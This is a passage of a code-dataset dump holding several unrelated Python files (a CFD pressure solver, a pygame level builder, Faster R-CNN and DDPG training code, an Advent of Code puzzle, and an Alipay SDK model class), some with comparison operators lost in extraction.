(15)\r\n#P has to exist already\r\n#returns number of iterations and norm of residuum\r\ndef calculate_Pressure_with_SOR(imax, jmax, itermax, delx, dely, eps, omg, RHS, P):\r\n apply_boundary_conditions_Pressure(imax, jmax, P)\r\n #make second matrix to store the old values\r\n P_old=np.zeros([imax+2, jmax+2], float)\r\n make_B_to_a_copy_of_A(imax, jmax, P_old, P)\r\n \r\n it=0\r\n res_squared=eps*eps+1\r\n while iteps*eps:\r\n apply_boundary_conditions_Pressure(imax, jmax, P)\r\n apply_boundary_conditions_Pressure(imax, jmax, P_old)\r\n #do 1 SOR cycle\r\n for i in range(1, imax+1):\r\n for j in range(1, jmax+1):\r\n P[i][j]=(1-omg)*P_old[i][j]+(omg/(2*((1/delx**2)+(1/dely**2))))*(((P_old[i+1][j]+P[i-1][j])/delx**2)+((P_old[i][j+1]+P[i][j-1])/dely**2)-RHS[i][j])\r\n make_B_to_a_copy_of_A(imax, jmax, P_old, P)\r\n #calculate residuum (16)\r\n res_squared=sum( [sum( [(((P[i+1][j]-2*P[i][j]+P[i-1][j])/delx**2)+((P[i][j+1]-2*P[i][j]+P[i][j-1])/dely**2)-RHS[i][j])**2 for j in range(1, jmax+1)] ) for i in range(1, imax+1)] )/(imax*jmax)\r\n it+=1\r\n# =============================================================================\r\n# if(res_squared>eps*eps):\r\n# print(\"SOR didnt yield a result that was close enough\")\r\n# =============================================================================\r\n return it, sqrt(res_squared)\r\n\r\n\r\n\r\n\r\n\r\n#calculate velocities U and V according to (10) and (11)\r\ndef calculate_U_and_V(imax, jmax, delt, delx, dely, F, G, P, U, V):\r\n for i in range(1, imax):\r\n for j in range(1, jmax+1):\r\n U[i][j]=F[i][j]-(delt/delx)*(P[i+1][j]-P[i][j])\r\n for i in range(1, imax+1):\r\n for j in range(1, jmax):\r\n V[i][j]=G[i][j]-(delt/dely)*(P[i][j+1]-P[i][j])\r\n\r\ndef write_output_into_file(filename, xlength, ylength, imax, jmax, U, V, P, U2, V2):\r\n #colculate U2 and V2 as the values of U and V in the middle of cells\r\n for i in range(1, imax+1):\r\n for j in range(1, jmax+1):\r\n U2[i][j]=(U[i][j-1]+U[i][j])/2\r\n V2[i][j]=(V[i][j]+V[i+1][j])/2\r\n #write data into file\r\n with open(filename, 'w') as myfile:\r\n myfile.write(str(xlength))\r\n myfile.write(\"\\n\")\r\n myfile.write(str(ylength))\r\n myfile.write(\"\\n\")\r\n myfile.write(str(imax))\r\n myfile.write(\"\\n\")\r\n myfile.write(str(jmax))\r\n myfile.write(\"\\n\")\r\n for i in range(1,imax+1):\r\n for j in range(1, jmax+1):\r\n myfile.write(str(U2[i][j]))\r\n myfile.write(\" \")\r\n myfile.write(\"\\n\")\r\n for i in range(1,imax+1):\r\n for j in range(1, jmax+1):\r\n myfile.write(str(V[i][j]))\r\n myfile.write(\" \")\r\n myfile.write(\"\\n\")\r\n for i in range(1,imax+1):\r\n for j in range(1, jmax+1):\r\n myfile.write(str(P[i][j]))\r\n myfile.write(\" \")\r\n myfile.write(\"\\n\")\r\n \r\n\r\n#b)\r\n\r\n#ALGORITHM:\r\n\r\n#first create new directory to store resulting files in\r\n#delete its content after using it, or ambiguities might occur\r\n\r\n\r\nif not os.path.exists(\"Files\"):\r\n os.makedirs(\"Files\")\r\n\r\nimax,jmax,xlength,ylength,delt,t_end,tau,del_vec,eps,omg,alpha,itermax,GX,GY,Re,UI,VI,PI=read_parameters_from_file(inputname)\r\ndel_vec2=del_vec\r\n\r\nt=0\r\ndelx,dely=calculate_delx_dely(imax,jmax,xlength,ylength)\r\nU,V,P=initialize_fields_UVP(imax,jmax, UI, VI, PI)\r\n#matices that will be used in the algorithm\r\nF=np.zeros([imax+2, jmax+2], float)\r\nG=np.zeros([imax+2, jmax+2], float)\r\nRHS=np.zeros([imax+2, jmax+2], float)\r\nU2=np.zeros([imax+2, jmax+2], float)\r\nV2=np.zeros([imax+2, jmax+2], float)\r\nnumber_of_files=0\r\nwhile tdel_vec):\r\n number_of_files+=1\r\n write_output_into_file(\"Files/\"+outputname+\"_{0:03}\".format(number_of_files), xlength, ylength, imax, jmax, U, V, P, U2, V2)\r\n del_vec=t+del_vec2\r\n t+=delt\r\nnumber_of_files+=1\r\nwrite_output_into_file(\"Files/\"+outputname+\"_{0:03}\".format(number_of_files), xlength, ylength, imax, jmax, U, V, P, U2, V2)\r\n\r\n","sub_path":"Exercise Sheet 5/driven_cavity.py","file_name":"driven_cavity.py","file_ext":"py","file_size_in_byte":11380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"400012789","text":"# -*- encoding: utf-8 -*-\n\nimport sys\n\nfrom characters.Enemy import *\nfrom characters.Item import *\nfrom stage.regular.Background import *\nfrom stage.regular.HUD import HUD\nfrom stage.regular.Platform import Platform\nfrom stage.regular.Scene import Scene\n\n\ndef str_to_class(str):\n return getattr(sys.modules[__name__], str)\n\n\nclass Stage(Scene):\n def __init__(self, manager, data, player, platformGroup, spriteGroup, enemyGroup, itemGroup, deadBodiesGroup):\n Scene.__init__(self, manager)\n\n self.MAP_UNIT_WIDTH = 55\n self.MAP_UNIT_HEIGHT = 55\n # Asignación de letras a objetos\n self.platform_letter = [\"0\", \"1\", \"2\"]\n self.enemy_letter = [\"a\", \"b\", \"m\", \"n\", \"s\"]\n self.fire_letter = \"f\"\n self.heart_letter = \"h\"\n self.door_letter = \"d\"\n self.wardrove_letter = \"w\"\n self.chandelier_letter = \"c\"\n self.coin_letter = \"$\"\n self.health_potion_letter = \"p\"\n self.manager = manager\n self.data = data\n self.screen = self.manager.getScreen()\n self.player = player\n self.playerStartPosition = self.player.getGlobalPosition()\n self.playerDisplacement = list((0, 0))\n\n # Initialize groups\n self.spriteGroup = spriteGroup\n self.platformGroup = platformGroup\n self.enemyGroup = enemyGroup\n self.itemGroup = itemGroup\n self.deadBodiesGroup = deadBodiesGroup\n\n self.initialize_lifebar_finalenemy()\n self.setup()\n\n def setup(self):\n\n # cargo el mapa\n self.map = self.data[\"map\"]\n self.levelDimensions = (1024, (len(\n self.map) + 10) * self.MAP_UNIT_HEIGHT) # ((int(self.data[\"dimensions\"][0]), int(self.data[\"dimensions\"][1])))\n # Genero la capa del Fondo\n self.background = BackGround(self.manager, self.data[\"bglayers\"], self.player, self.levelDimensions)\n self.platformfiles = self.data[\"platform_files\"]\n # Creamos el nivel a partir de fichero de texto\n self.create_level()\n # Creamos el HUD\n self.HUD = HUD(self.manager, self.player)\n\n def create_level(self):\n # Variables\n column_number = 0\n row_number = 0\n\n for line in self.map:\n platform_size = 0\n prev_letter = \" \"\n for letter in line:\n # Si hay la letra asignada a plataformas, aumentamos el tamaño de la plataforma a crear una posición\n if letter in self.platform_letter:\n platform_size = platform_size + 1\n\n # Create enemies\n if letter in self.enemy_letter:\n if letter == \"a\":\n tmp = Asmodeo(self.manager, self.manager.getDataRetriever())\n elif letter == \"b\":\n tmp = Belcebu(self.manager, self.manager.getDataRetriever())\n elif letter == \"m\":\n tmp = Mammon(self.manager, self.manager.getDataRetriever())\n elif letter == \"n\":\n tmp = Dante(self.manager, self.manager.getDataRetriever())\n elif letter == \"s\":\n tmp = Satan(self.manager, self.manager.getDataRetriever())\n tmp.enemyGroup = self.enemyGroup\n tmp.setPosition((column_number * self.MAP_UNIT_WIDTH, row_number * self.MAP_UNIT_HEIGHT))\n self.enemyGroup.add(tmp)\n\n # Create Items\n if letter == self.fire_letter:\n tmp = Fire(self.manager, self.manager.getDataRetriever(), self.itemGroup)\n tmp.setPosition((column_number * self.MAP_UNIT_WIDTH, row_number * self.MAP_UNIT_HEIGHT))\n self.itemGroup.add(tmp)\n\n if letter == self.heart_letter:\n tmp = Heart(self.manager, self.manager.getDataRetriever(), self.itemGroup)\n tmp.setPosition((column_number * self.MAP_UNIT_WIDTH, row_number * self.MAP_UNIT_HEIGHT))\n self.itemGroup.add(tmp)\n\n if letter == self.door_letter:\n tmp = Door(self.manager, self.manager.getDataRetriever(), self.itemGroup)\n tmp.setPosition((column_number * self.MAP_UNIT_WIDTH, row_number * self.MAP_UNIT_HEIGHT))\n self.itemGroup.add(tmp)\n\n if letter == self.chandelier_letter:\n tmp = Chandelier(self.manager, self.manager.getDataRetriever(), self.itemGroup)\n tmp.setPosition((column_number * self.MAP_UNIT_WIDTH, row_number * self.MAP_UNIT_HEIGHT))\n self.itemGroup.add(tmp)\n\n if letter == self.wardrove_letter:\n tmp = Wardrove(self.manager, self.manager.getDataRetriever(), self.itemGroup)\n tmp.setPosition((column_number * self.MAP_UNIT_WIDTH, row_number * self.MAP_UNIT_HEIGHT))\n self.itemGroup.add(tmp)\n\n if letter == self.health_potion_letter:\n tmp = HealthPotion(self.manager, self.manager.getDataRetriever(), self.itemGroup)\n tmp.setPosition((column_number * self.MAP_UNIT_WIDTH, row_number * self.MAP_UNIT_HEIGHT))\n self.itemGroup.add(tmp)\n\n if letter == self.coin_letter:\n tmp = Coin(self.manager, self.manager.getDataRetriever(), self.itemGroup)\n tmp.setPosition((column_number * self.MAP_UNIT_WIDTH, row_number * self.MAP_UNIT_HEIGHT))\n self.itemGroup.add(tmp)\n\n # Creamos plataformas\n if not letter in self.platform_letter and prev_letter in self.platform_letter:\n platform = Platform(\n self.manager,\n (column_number * self.MAP_UNIT_WIDTH, row_number * self.MAP_UNIT_HEIGHT),\n self.platformfiles[int(prev_letter)],\n platform_size)\n self.platformGroup.add(platform)\n platform_size = 0\n\n # Incrementar el contador de columnas\n column_number = column_number + 1\n\n # Asignar el valor de la letra actual a la variable prev_letter\n prev_letter = letter\n\n # Create last platform\n if prev_letter in self.platform_letter:\n platform = Platform(\n self.manager,\n (column_number * self.MAP_UNIT_WIDTH, row_number * self.MAP_UNIT_HEIGHT),\n self.platformfiles[int(prev_letter)],\n platform_size)\n self.platformGroup.add(platform)\n\n # Incrementar el contador de filas\n row_number = row_number + 1\n column_number = 0\n # print \"posicion bottom-->\",(row_number-1)*55\n\n def update(self, clock):\n self.manager.getScreen().fill(int(self.data[\"bgColor\"], 16)) # en windows es necesario =\\ en mac no\n # Calculo la distancia entre la posicion inicial del jugador y la actual\n # Este valor se le pasa a Background y Platform para que realice el scroll\n # solo actualizo el scroll si el jugador esta saltando o cayendo\n if self.player.getDoUpdateScroll() & self.getDoUpdateScroll():\n self.playerDisplacement = (\n 0, # int(math.ceil(self.playerStartPosition[0]-self.player.getPosition()[0])),\n int(math.ceil(self.playerStartPosition[1] - self.player.getGlobalPosition()[1]))\n )\n # print \"player \", self.player.getGlobalPosition()[1], self.player.getLocalPosition()[1]\n self.background.update(clock, self.playerDisplacement)\n\n for p in self.platformGroup:\n p.update(clock, self.playerDisplacement)\n\n for i in self.itemGroup:\n i.update(clock, self.playerDisplacement)\n\n self.player.update(clock, self.playerDisplacement, self.platformGroup, self.enemyGroup, self.itemGroup)\n self.enemyGroup.update(clock, self.player, self.playerDisplacement)\n self.deadBodiesGroup.update(clock, self.player, self.playerDisplacement)\n # self.player.enemy_coll(self.enemyGroup, self.player)\n self.HUD.update()\n\n def draw(self):\n self.background.draw()\n self.platformGroup.draw(self.manager.getScreen())\n self.itemGroup.draw(self.manager.getScreen())\n self.enemyGroup.draw(self.manager.getScreen())\n self.deadBodiesGroup.draw(self.manager.getScreen())\n self.spriteGroup.draw(self.manager.getScreen())\n self.HUD.draw()\n self.draw_lifebar_finalenemy()\n # Descomentar esta línea para mostrar los rects de colisión de todos los elementos del juego\n # self.draw_collision_rects()\n\n def draw_collision_rects(self):\n # Platform rects\n for item in self.itemGroup:\n self.draw_transparent_rect(item.getRect(), (255, 255, 255, 50))\n\n # Enemy rects\n for enemy in self.enemyGroup:\n self.draw_transparent_rect(enemy.getRect(), (255, 10, 10, 100))\n self.draw_transparent_rect(enemy.activity_range_rect, (10, 255, 255, 100))\n # self.draw_transparent_rect(enemy.getCollisionRect(), (0, 0, 0, 100))\n\n # Player rects\n self.draw_transparent_rect(self.player.getRect(), (23, 100, 255, 100))\n self.draw_transparent_rect(self.player.getCollisionRect(), (10, 255, 255, 100))\n\n def draw_transparent_rect(self, rect, colour):\n tmp = pygame.Surface((rect.width, rect.height), pygame.SRCALPHA, 32)\n tmp.fill(colour)\n self.manager.getScreen().blit(tmp, (rect.left, rect.top))\n\n def initialize_lifebar_finalenemy(self):\n self.healthbar_length = 200\n self.healthbar_height = 20\n\n def draw_lifebar_finalenemy(self):\n for enemy in self.enemyGroup:\n if type(enemy).__name__ == \"Satan\":\n if not enemy.health == 500:\n health = enemy.health\n x = enemy.getRect().left + enemy.getRect().width / 2 - self.healthbar_length / 2\n y = enemy.getRect().top - 50\n\n # Escogemos color para la barra de salud\n if health < 20:\n foreground_color = (255, 0, 0)\n else:\n foreground_color = (0, 255, 0)\n\n # Calculamos tamaño de la barra de salud\n health_value = (float(health) / 500 * self.healthbar_length)\n outline_rect = pygame.Rect(x, y, self.healthbar_length, self.healthbar_height)\n fill_rect = pygame.Rect(x, y, health_value, self.healthbar_height)\n\n # Dibujamos\n pygame.draw.rect(self.screen, (70, 70, 70), outline_rect)\n pygame.draw.rect(self.screen, foreground_color, fill_rect)\n pygame.draw.rect(self.screen, (0, 0, 0), outline_rect, 3)\n\n def events(self, events_list):\n self.player.move(pygame.key.get_pressed())\n self.HUD.events(events_list)\n\n def resetScroll(self):\n self.playerDisplacement = (0, 0)\n\n def getDoUpdateScroll(self):\n return True\n","sub_path":"src/stage/regular/Stage.py","file_name":"Stage.py","file_ext":"py","file_size_in_byte":11277,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"36136274","text":"from data import data\nfrom data.data import Dataset\nimport torch \nimport fire\nimport time\nimport os, sys\nimport tqdm\nfrom typing import Dict, Tuple\nfrom torch import nn, optim\nfrom torch.nn import functional\nfrom collections import namedtuple\nfrom visdom import Visdom\n\nfrom face_detection import cig\nfrom face_detection import FasterRcnn\nfrom face_detection.utils import *\n\nclass EasyTrainer(nn.Module): ...\n\nLossTuple = namedtuple(\"LossTuple\", [\n 'rpn_loc_loss',\n 'rpn_cls_loss',\n 'roi_loc_loss',\n 'roi_cls_loss',\n 'total_loss'\n])\n\ndef time_count(f):\n def wrapper(*args, **kwargs):\n start = time.time()\n temp = f(*args, **kwargs)\n print(\"\\033[32mcost time\\033[0m:\", round(time.time() - start, 3), \"\\033[33msecond(s)\\033[0m\")\n return temp\n return wrapper\n\n\n# A single wrapper for easy training process\nclass EasyTrainer(nn.Module):\n def __init__(self, faster_rcnn : FasterRcnn):\n super().__init__()\n\n self.faster_rcnn : FasterRcnn = faster_rcnn\n self.loc_nor_mean : Tuple[float] = faster_rcnn.loc_nor_mean\n self.loc_nor_std : Tuple[float] = faster_rcnn.loc_nor_std\n self.optimizer : optim = faster_rcnn.set_optimizer()\n\n self.rpn_sigma : float = cig.rpn_sigma\n self.roi_sigma : float = cig.roi_sigma\n\n # create target creater\n self.anchorTC : AnchorTargetCreator = AnchorTargetCreator()\n self.proposalTC : ProposalTargetCreator = ProposalTargetCreator()\n \n def forward(self, images : torch.Tensor, bboxes : torch.Tensor, labels : torch.Tensor, scale : float) -> LossTuple:\n if bboxes.shape[0] != 1:\n raise RuntimeError(\"batch_size must be 1!!!\")\n \n _, _, H, W = images.shape\n feature_mapping = self.faster_rcnn.extractor(images)\n rpn_locs, rpn_scores, rois, _, anchor = self.faster_rcnn.rpn(\n x=feature_mapping,\n img_size=[H, W],\n scale=scale\n )\n\n # note that batch size is 1\n bbox = bboxes[0]\n label = labels[0]\n rpn_score = rpn_scores[0]\n rpn_loc = rpn_locs[0]\n roi = rois\n \n # align to get the proposal target value\n sample_roi, gt_roi_loc, gt_roi_label = self.proposalTC(\n roi=roi,\n bbox=safe_to_numpy(bbox),\n label=safe_to_numpy(label),\n loc_normalize_mean=self.loc_nor_mean,\n loc_normalize_std=self.loc_nor_std\n )\n\n sample_roi = safe_to_tensor(sample_roi)\n gt_roi_loc = safe_to_tensor(gt_roi_loc)\n gt_roi_label = safe_to_tensor(gt_roi_label)\n\n # note that we do the forwarding for one data in a batch\n # so all the choosen data in one batch is the first data, whose \n # corresponding index is 0\n sample_roi_indices = torch.zeros(len(sample_roi))\n\n roi_cls_loc, roi_score = self.faster_rcnn.roi_head(\n x=feature_mapping,\n rois=sample_roi,\n roi_indices=sample_roi_indices\n )\n\n \"\"\"calculate the RPN loss\"\"\"\n gt_rpn_loc, gt_rpn_label = self.anchorTC(\n bbox=safe_to_numpy(bbox),\n anchor=anchor,\n img_size=[H, W]\n )\n gt_rpn_label : torch.Tensor = torch.LongTensor(gt_rpn_label)\n gt_rpn_loc : torch.Tensor = safe_to_tensor(gt_rpn_loc)\n\n rpn_loc_loss: torch.Tensor = fast_rcnn_loc_loss(\n pred_loc=rpn_loc,\n gt_loc=gt_rpn_loc,\n gt_label=gt_rpn_label.data,\n sigma=self.rpn_sigma\n )\n\n # remember to ignore the bbox whose tag is -1\n rpn_cls_loss : torch.Tensor = functional.cross_entropy(\n input=rpn_score,\n target=gt_rpn_label.cuda() if cig.use_cuda else gt_rpn_label.cpu(),\n ignore_index=-1 \n )\n\n # cut the path of gradient to reduce the cost on GPU and remove all the label is -1\n mask : torch.Tensor = gt_rpn_label > -1\n gt_rpn_label : torch.Tensor = gt_rpn_label[mask]\n rpn_score : torch.Tensor = rpn_score[mask]\n\n \"\"\"calculate the RoI loss\"\"\"\n n : int = roi_cls_loc.shape[0]\n roi_cls_loc : torch.Tensor = roi_cls_loc.view(n, -1, 4)\n\n roi_loc : torch.Tensor = roi_cls_loc[\n torch.arange(0, n),\n gt_roi_label\n ].contiguous()\n\n roi_loc_loss : torch.Tensor = fast_rcnn_loc_loss(\n pred_loc=roi_loc,\n gt_loc=gt_roi_loc,\n gt_label=gt_roi_label,\n sigma=self.roi_sigma\n )\n\n roi_cls_loss = functional.cross_entropy(\n input=roi_score,\n target=gt_roi_label\n ) \n\n\n # count all the loss\n total_loss = rpn_cls_loss + rpn_loc_loss + roi_cls_loss + roi_loc_loss\n loss_tuple = LossTuple(\n rpn_loc_loss=rpn_loc_loss,\n rpn_cls_loss=rpn_cls_loss,\n roi_loc_loss=roi_loc_loss,\n roi_cls_loss=roi_cls_loss,\n total_loss=total_loss\n )\n return loss_tuple\n \n def train_one_image(self, images : torch.Tensor, bboxes : torch.Tensor, labels : torch.Tensor, scale : float) -> LossTuple:\n \"\"\"\n Args\n - images : Actually it is an image, which is shaped as [1, C, H, W]\n - bboxes : GT bbox of the items, which is shaped as [1, d, 4]\n - labels : class of each bboxes, which is shaped as [1, d]\n - scale : ratio between preprocessed image and original image \n \"\"\"\n self.optimizer.zero_grad()\n loss_tuple = self.forward(\n images=images,\n bboxes=bboxes,\n labels=labels,\n scale=scale\n )\n loss_tuple.total_loss.backward()\n self.optimizer.step()\n return loss_tuple\n \n def save(self, save_path : str = None, save_optimizer : bool = True, **kwargs):\n save_dict = {\n \"model\" : self.faster_rcnn.state_dict(),\n \"config\" : cig.state_dict(),\n \"optimizer\" : self.optimizer.state_dict() if save_optimizer else None,\n \"info\" : kwargs\n }\n\n if save_path is None:\n local_time = time.strftime(\"%m%d%H%M\")\n save_path = \"checkpoints/fasterrcnn_{}\".format(local_time)\n for value in kwargs.values():\n save_path += \"_{}\".format(value)\n \n save_dir = os.path.dirname(save_path)\n if not os.path.exists(save_dir):\n os.makedirs(save_dir)\n \n torch.save(save_dict, save_path)\n\n def load(self, path : str, load_optimizer : bool = True, load_config : bool = True) -> EasyTrainer:\n state_dict = torch.load(path)\n self.faster_rcnn.load_state_dict(\n state_dict=state_dict[\"model\"] if \"model\" in state_dict else state_dict\n )\n\n if load_optimizer and \"optimizer\" in state_dict and state_dict[\"optimizer\"] is not None:\n self.optimizer.load_state_dict(state_dict[\"optimizer\"])\n\n if load_config and \"config\" in state_dict and state_dict[\"config\"] is not None:\n cig.load_dict(state_dict[\"config\"])\n return self\n \n\n@time_count\ndef train(**kwargs): \n # load the configer\n cig.load_dict(**kwargs)\n\n # create model and training wrapper\n model = FasterRcnn()\n trainer = EasyTrainer(model)\n print(\"\\033[32m{}\\033[0m\".format(\"complete creating model and trainer\"))\n if cig.use_cuda:\n trainer = trainer.cuda()\n if cig.model_path:\n trainer.load(\n path=cig.model_path,\n load_optimizer=True,\n load_config=True\n )\n # create visdom\n vis = Visdom()\n\n # for decay of the learning rate\n cur_lr = cig.learning_rate\n \n # create loader of dataset\n data_set = Dataset()\n epoch_iter = tqdm.tqdm(range(cig.epoch), **cig.EPOCH_LOOP_TQDM)\n for epoch in epoch_iter:\n loader = data_set.get_train_loader()\n indices = range(data_set.training_sample_num()) # for progress bar in tqdm\n index_iter = tqdm.tqdm(indices, **cig.BATCH_LOOP_TQDM)\n epoch_iter.set_description_str(\"\\033[32mEpoch {}\\033[0m\".format(epoch))\n\n for index, (b_img, b_bbox, b_label, scales) in zip(index_iter, loader):\n scale : float = scales[0]\n\n loss_tuple = trainer.train_one_image(\n images=b_img,\n bboxes=b_bbox,\n labels=b_label,\n scale=scale\n )\n\n post_info = \"\\033[33m{},{},{},{},{}\\033[0m\".format(\n round(loss_tuple.rpn_cls_loss.item(), 2), \n round(loss_tuple.rpn_loc_loss.item(), 2), \n round(loss_tuple.roi_cls_loss.item(), 2), \n round(loss_tuple.roi_loc_loss.item(), 2), \n round(loss_tuple.total_loss.item(), 2)\n )\n \n # set prefix and suffix info for tqdm iterator\n index_iter.set_description_str(\"\\033[32mEpoch {} complete!\\033[0m\".format(epoch)\n if index == (data_set.training_sample_num() - 1) else \"\\033[35mtraining...\\033[0m\")\n index_iter.set_postfix_str(post_info)\n\n trainer.save()\n\nif __name__ == \"__main__\":\n fire.Fire(train)","sub_path":"train_utils.py","file_name":"train_utils.py","file_ext":"py","file_size_in_byte":9211,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"587401530","text":"# Copyright 2017 Mark Pfeiffer, ASL, ETH Zurich, Switzerland\n# Copyright 2017 Fadri Furrer, ASL, ETH Zurich, Switzerland\n# Copyright 2017 Renaud Dubé, ASL, ETH Zurich, Switzerland\n\nimport numpy as np\nimport FCLayer as fc_layer\nimport pickle as pkl\nimport os\n\n\nclass Params():\n\n training_batch_size = 10\n max_training_steps = 1000\n print_steps = 100\n\n\nclass ModelWrapper():\n\n network = None\n optimizer = None\n loss_function = None\n x = None\n y_target = None\n params = None\n current_idx = 0\n\n def __init__(self, network, loss_function, optimizer, x, y_target, params):\n self.params = params\n self.network = network\n self.optimizer = optimizer\n self.loss_function = loss_function\n # Training data\n self.x = x\n self.y_target = y_target\n\n def setNetwork(self, network):\n self.network = network\n\n def getNetwork(self):\n return self.network\n\n def setOptimizer(self, optimizer):\n self.optimizer = optimizer\n\n def getOptimizer(self):\n return self.optimizer\n\n def getNextDataPoint(self):\n if self.current_idx >= self.x.shape[0]:\n self.current_idx = 0\n input_batch = np.array([self.x[self.current_idx, :]])\n label_batch = np.array([self.y_target[self.current_idx, :]])\n self.current_idx += 1\n return input_batch, label_batch\n\n def getNextTrainingBatch(self, batch_size=1):\n input_batch = np.zeros([batch_size, self.x.shape[1]])\n label_batch = np.zeros([batch_size, self.y_target.shape[1]])\n for i in range(batch_size):\n X, y_target = self.getNextDataPoint()\n input_batch[i, :] = X\n label_batch[i, :] = y_target\n return input_batch, label_batch\n\n def prediction(self, x):\n y_net = self.network.output(x)\n y = np.zeros(y_net.shape)\n y[0, np.argmax(y_net)] = 1\n return y\n\n def train(self):\n step = 0\n loss_evolution = np.zeros([self.params.max_training_steps, 2])\n while step < self.params.max_training_steps:\n x_batch, y_target_batch = self.getNextTrainingBatch(\n self.params.training_batch_size)\n loss = self.optimizer.updateStep(self.network, self.loss_function,\n x_batch, y_target_batch)\n loss_evolution[step, :] = np.array([step, loss])\n if step % self.params.print_steps == 0:\n print(\"Loss in step {} is {}.\".format(step, loss))\n step += 1\n\n return loss_evolution\n\n def eval(self, x, y_target):\n eval_size = x.shape[0]\n correct_classifications = 0\n for i in range(eval_size):\n prediction = self.prediction(np.array([x[i, :]]))\n truth = np.array([y_target[i, :]])\n if np.all(prediction == truth):\n correct_classifications += 1.0\n return correct_classifications / float(eval_size)\n\n def loss(self, x, y_target):\n return self.loss_function.evaluate(self.prediction(x), y_target)\n\n def gradients(self, x, y_target):\n return self.network.gradients(x, self.loss_function, y_target)\n","sub_path":"5_deep_learning/solution/01_DL_framework/ModelWrapper.py","file_name":"ModelWrapper.py","file_ext":"py","file_size_in_byte":3194,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"120032772","text":"import numpy as np\nimport scipy.signal\n\nimport torch\nimport torch.nn as nn\n\n\ndef combined_shape(length, shape=None):\n if shape is None:\n return (length,)\n return (length, shape) if np.isscalar(shape) else (length, *shape)\n\ndef mlp(sizes, activation, output_activation=nn.Identity):\n layers = []\n for j in range(len(sizes)-1):\n act = activation if j < len(sizes)-2 else output_activation\n layers += [nn.Linear(sizes[j], sizes[j+1]), act()]\n return nn.Sequential(*layers)\n\n\ndef pi_newtork(obs_size, act_size, hidden_size):\n net = nn.Sequential(\n nn.Linear(obs_size, hidden_size),\n nn.ReLU(),\n nn.Linear(hidden_size, hidden_size),\n nn.ReLU(),\n nn.Linear(hidden_size, act_size),\n nn.Tanh())\n return net\n\ndef q_newtork(obs_size, act_size, hidden_size):\n in_size = obs_size + act_size\n net = nn.Sequential(\n nn.Linear(in_size, hidden_size),\n nn.ReLU(),\n nn.Linear(hidden_size, hidden_size),\n nn.ReLU(),\n nn.Linear(hidden_size, 1),\n nn.Identity())\n return net\n\ndef count_vars(module):\n return sum([np.prod(p.shape) for p in module.parameters()])\n\nclass MLPActor(nn.Module):\n\n def __init__(self, obs_dim, act_dim, hidden_sizes, activation, act_limit):\n super().__init__()\n device='cuda'\n pi_sizes = [obs_dim] + list(hidden_sizes) + [act_dim]\n #print(obs_dim, act_dim, hidden_sizes)\n self.pi = pi_newtork(obs_dim,act_dim, hidden_sizes[0])#mlp(pi_sizes, activation, nn.Tanh)\n self.act_limit = torch.from_numpy(act_limit).to(device)\n\n def forward(self, obs):\n # Return output from network scaled to action space limits.\n return self.act_limit * self.pi(obs)\n\nclass MLPQFunction(nn.Module):\n\n def __init__(self, obs_dim, act_dim, hidden_sizes, activation):\n super().__init__()\n self.q = q_newtork(obs_dim,act_dim, hidden_sizes[0])#mlp([obs_dim + act_dim] + list(hidden_sizes) + [1], activation)\n\n def forward(self, obs, act):\n q = self.q(torch.cat([obs, act], dim=-1))\n return torch.squeeze(q, -1) # Critical to ensure q has right shape.\n\nclass MLPActorCritic(nn.Module):\n\n def __init__(self, observation_space, action_space, hidden_sizes=(256,256),\n activation=nn.ReLU):\n super().__init__()\n\n obs_dim = observation_space.shape[0]\n act_dim = action_space.shape[0]\n act_limit = action_space.high\n device = 'cuda'\n # build policy and value functions\n self.pi = MLPActor(obs_dim, act_dim, hidden_sizes, activation, act_limit).to(device)\n self.q = MLPQFunction(obs_dim, act_dim, hidden_sizes, activation).to(device)\n\n def act(self, obs):\n with torch.no_grad():\n return self.pi(obs).cpu().data.numpy()\n","sub_path":"Code/core_DDPG.py","file_name":"core_DDPG.py","file_ext":"py","file_size_in_byte":2815,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"568646003","text":"import numpy as np\nimport re\n\n# read the data using scipy\nf = open(\"q10.in\",'r')\nr = f.read()\nf.close()\n\n# Find all values and shape them into entries\nread = np.array( [int(i) for i in re.findall(r\"-?\\d+\",r)] ).reshape(-1,4)\nposn, v = read[:,:2], read[:,2:]\n\n# Using area as heuristics\n# Idea is that area should get smaller as the word is formed\nmin_axis, max_axis = posn.min(axis=0)-1, posn.max(axis=0)+2\nsize = max_axis-min_axis\narea = int(size[0]) * int(size[1])\nnew = area\n\nwhile new <= area:\n\t# Move to new position\n\tposn += v\n\n\t# Heuristics\n\tarea = new\n\tmin_axis, max_axis = posn.min(axis=0)-1, posn.max(axis=0)+2\n\tsize = max_axis-min_axis\n\tnew = int(size[0]) * int(size[1])\n\n# Print picture\nimport matplotlib.pyplot as plt\nposn -= v\nresult = np.zeros(max_axis-min_axis,dtype=int)\nfor p in posn:\n\tx,y = p-min_axis\n\tresult[x,y]=1\nplt.plot(posn[:,:1],-posn[:,1:],'bo') # invert y because +ve y is downwards\nplt.show() # collapse window size to see picture","sub_path":"2018/Q10/q10_1.py","file_name":"q10_1.py","file_ext":"py","file_size_in_byte":960,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"550148965","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport json\n\nfrom alipay.aop.api.constant.ParamConstants import *\n\n\nclass AlipayEcoPrinterStatusQueryModel(object):\n\n def __init__(self):\n self._client_id = None\n self._client_secret = None\n self._eprint_token = None\n self._machine_code = None\n\n @property\n def client_id(self):\n return self._client_id\n\n @client_id.setter\n def client_id(self, value):\n self._client_id = value\n @property\n def client_secret(self):\n return self._client_secret\n\n @client_secret.setter\n def client_secret(self, value):\n self._client_secret = value\n @property\n def eprint_token(self):\n return self._eprint_token\n\n @eprint_token.setter\n def eprint_token(self, value):\n self._eprint_token = value\n @property\n def machine_code(self):\n return self._machine_code\n\n @machine_code.setter\n def machine_code(self, value):\n self._machine_code = value\n\n\n def to_alipay_dict(self):\n params = dict()\n if self.client_id:\n if hasattr(self.client_id, 'to_alipay_dict'):\n params['client_id'] = self.client_id.to_alipay_dict()\n else:\n params['client_id'] = self.client_id\n if self.client_secret:\n if hasattr(self.client_secret, 'to_alipay_dict'):\n params['client_secret'] = 